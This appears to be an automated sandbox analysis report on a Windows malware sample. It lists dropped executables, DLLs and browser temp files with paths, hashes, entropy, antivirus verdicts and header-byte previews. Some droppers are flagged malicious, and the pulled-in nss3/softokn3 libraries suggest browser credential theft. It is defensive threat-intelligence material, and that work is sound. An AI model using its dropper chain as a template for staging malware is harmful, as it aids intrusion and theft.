File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	319488
Entropy (8bit):	7.438354796919163
Encrypted:	false
SSDEEP:	6144:4mxt6IkkJtxNOKnC0LdcJn8zl3+jXKK+lftCHmwvmdulqmqyy+EB:hb3BSJn85OmK+NtCHmfdulgyyzB
MD5:	EEEEA91A33F3CF35A77893B670548A8C
SHA1:	D8DF957DEBB85C23AE8B42367A35749455C6ED72
SHA-256:	C3C4702EBF59529787F2E6A360889729C727026E279FF95FAF2533B67E3B9AB8
SHA-512:	7762D5E3209763BC32BFD4D88487B4B1E4298A4B1D4AAA9E8926681E1171BAAF8559CF8B418B1C15DA685EA8B9D094DED84D39F67A7378FE05AA97E0E29470F2
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.....Hc2...@.................................W...k...........................,x1..............................w1..................................................... . ............................@....rsrc...............................@....idata ............................@...paflvhti..........................@...ykjvsrqi......1......^1.............@....taggant.0....1.."...b1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0fdd1699-45be-41d5-a62d-baee95923ad1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\55062f1e-3deb-4091-8792-6f43f2d3d307.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\64303b68-a954-4adb-80e7-a5f536d5bc59.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1591257
Entropy (8bit):	7.993697446766316
Encrypted:	true
SSDEEP:	49152:g1l8udrlfwKcGUx+csb0CfT9EUp9CLmLc23v/uQ0x:gjBwfGUxvsn6UpEmLrOQY
MD5:	A98EDCF0CD672C95F160F88D4C4A1E5D
SHA1:	BC4B417BDA5598BACCFB3D817DF4928941C56EFC
SHA-256:	D885B5364ED55ACC506890DB4A4DAC5E8CEF86A6DF580E3741F0A397A1D1C5F4
SHA-512:	F67E6F8DF07B06A8D6D546638DA75CE69E521EC23E173B2A16A96465DEF1856E8344B5DDEEC01DB554140EF4E2C10004C8195E3C6EC339435A4D17156808554C
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...qiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628" xmpMM:DocumentID="xmp.did:91EA24D7191011E5B1FF9488C51C29D1" xmpMM:InstanceID="xmp.iid:91EA24D6191011E5B1FF9488C51C29D1" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6a6b844a-8117-4c4c-9b2f-30d3769ed7c7" stRef:documentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>^.i.....IDATx.bb .0..;./..;@...A.P9F...y

C:\Users\user\AppData\Local\Temp\68f0f7d8-635e-48c1-9c96-c99f6e8e93e3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\9e91ac1a-cf87-484b-a7f9-a2093d176cac.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\IXP000.TMP\4w017y.exe

Download File

Process:	C:\Users\user\Desktop\ByVoN4bhSU.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3245056
Entropy (8bit):	6.650560024555319
Encrypted:	false
SSDEEP:	49152:DNK2tJryjBRc3ly9HOPtPRDkeqipcoM1UM:U2tJoBe3kHKCeqP7
MD5:	2F2A8968BCDC26DC26F35A7F0E741B94
SHA1:	8FF2C4C2BAC54FC34C12EE6E8B2349141AE1703C
SHA-256:	B4ED53947A407459822C5D352BB5300A5885B9DEC2B6C319C48F54B57A02E2EB
SHA-512:	6288B580F9DA2760F2B30565CFA6B5C57C2E9C776E3F04AD7AC1F5C5630678AEA869F5F0D494AA244E2DBEB17615936FB29F68A20B0F23325238A5C417568EF9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.....Hc2...@.................................W...k...........................,x1..............................w1..................................................... . ............................@....rsrc...............................@....idata ............................@...paflvhti..........................@...ykjvsrqi......1......^1.............@....taggant.0....1.."...b1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe

Download File

Process:	C:\Users\user\Desktop\ByVoN4bhSU.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3950592
Entropy (8bit):	7.991458211592003
Encrypted:	true
SSDEEP:	98304:DBEwlwLveFuppHibvCWF+C/4ix392W0V9Kt7f7jR:DBfAvecelICwi5YV9Kf
MD5:	BE4CD825680F7E4844F9A8C61F7CECBF
SHA1:	66E394E730BBC4B5D51E32954FA2872F3971B64D
SHA-256:	1145F46F15C58EA7EFFD2900DDE5A9BC9FC6E69783E74189E348D7ECA867612F
SHA-512:	2FA4F7A9E393E0F814840E9FEDD14787A76D564E81CE6DC17F12E1D9E882C1B0ACDD2551E03D941E6F9A6ED5D5985087E7CF69000FB530C6FC7735AB31342055
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K..K..K...N..K...H..K...O..K...J..K..J...K...C..K.....K...I..K.Rich..K.........PE..L....`.b.................d....;.....`j............@...........................<.......<...@...... ........................................;...................<.........T...............................@............................................text....c.......d.................. ..`.data...H............h..............@....idata..R............j..............@..@.rsrc.....;.......;..\|..............@..@.reloc........<......><.............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3003904
Entropy (8bit):	6.5403381283860105
Encrypted:	false
SSDEEP:	49152:D8hB3IQYpTw0Tpl50NDTbB44afUSxsHG+RH6P:wr3IXpTw0q1B44aRaX2
MD5:	781C92234AD3FA7FAFDA08C434D9A50E
SHA1:	EAE985CEABB46B58A7460C29620288535E7BB5CE
SHA-256:	74495C23AE1C2767BC43B39A3F4CEA3A6414280DBCF9610D66B4FAEAF31B6724
SHA-512:	B6DBD83E54F87E3223312A36D7276DFD2A09AE0689A48BA689D5C99B37D222A2BA8C534B89176227CE1B6D1CCEC8D7D9C50FAE78065D8C3AF312AEE8DC05AA6E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................1......z....@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...atmfzxnt. +.......+.................@...cfwltgdw......0.......-.............@....taggant.0....0.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2123264
Entropy (8bit):	7.96362915112457
Encrypted:	false
SSDEEP:	49152:e0iknw1Rhd+OQEkrLK9VhEhVtJf4DoH8AviEp1nqBu0vz:e8w1Rnl+LWVhwF4Ix
MD5:	7E2272452770FCE26BAAAF4FCA490EDF
SHA1:	F7415B286C2CE27FD9B1D2DE81FA13634CB6DA15
SHA-256:	EDDE457B0A32E570C98FCD0868170DFA06990BCCD396C4B38B4E8D69BD72D500
SHA-512:	DEC16F81DF500BEDA931441C42349483E5058F241DA53021C0CADE0471A2FCD7FA102EFA1C0BD7BDBBFBFF1F75D5100302CB4A30C647B99715B962B3217FCA26
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,...... r...........@..........................Pr.....Z. ...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..).........................@...ajclbkke.....PX.....................@...yhxmvaoe......r......@ .............@....taggant.0... r.."...D .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\b8df2807-2d2a-4679-8f79-ad571a9c64b2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\cad5c7ee-5722-4f96-be92-c51958e1d0f0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.393363402654605
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rrt:8e2Fa116uCntc5toY4FM
MD5:	DFE42C2B7BA10C2B4370D1792B25336A
SHA1:	EAFFD3FA5D38DA7F28E2FEBB8FF74A64B0020EFF
SHA-256:	04C31D87C7D02812DF47B916122BB5883FB28B184D9B47B8CABC0D6AC864F451
SHA-512:	FCE0E17138A94A5FDA3DEBAF09EA0FAEE053C922A4C820E20FA3E1A06FC8B5C3A7ADF951A6A7CBC34359953C868FFAD31E2B81D2465FEA37DF9C4C4CEA84DFB9
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\af\messages.json

Download File

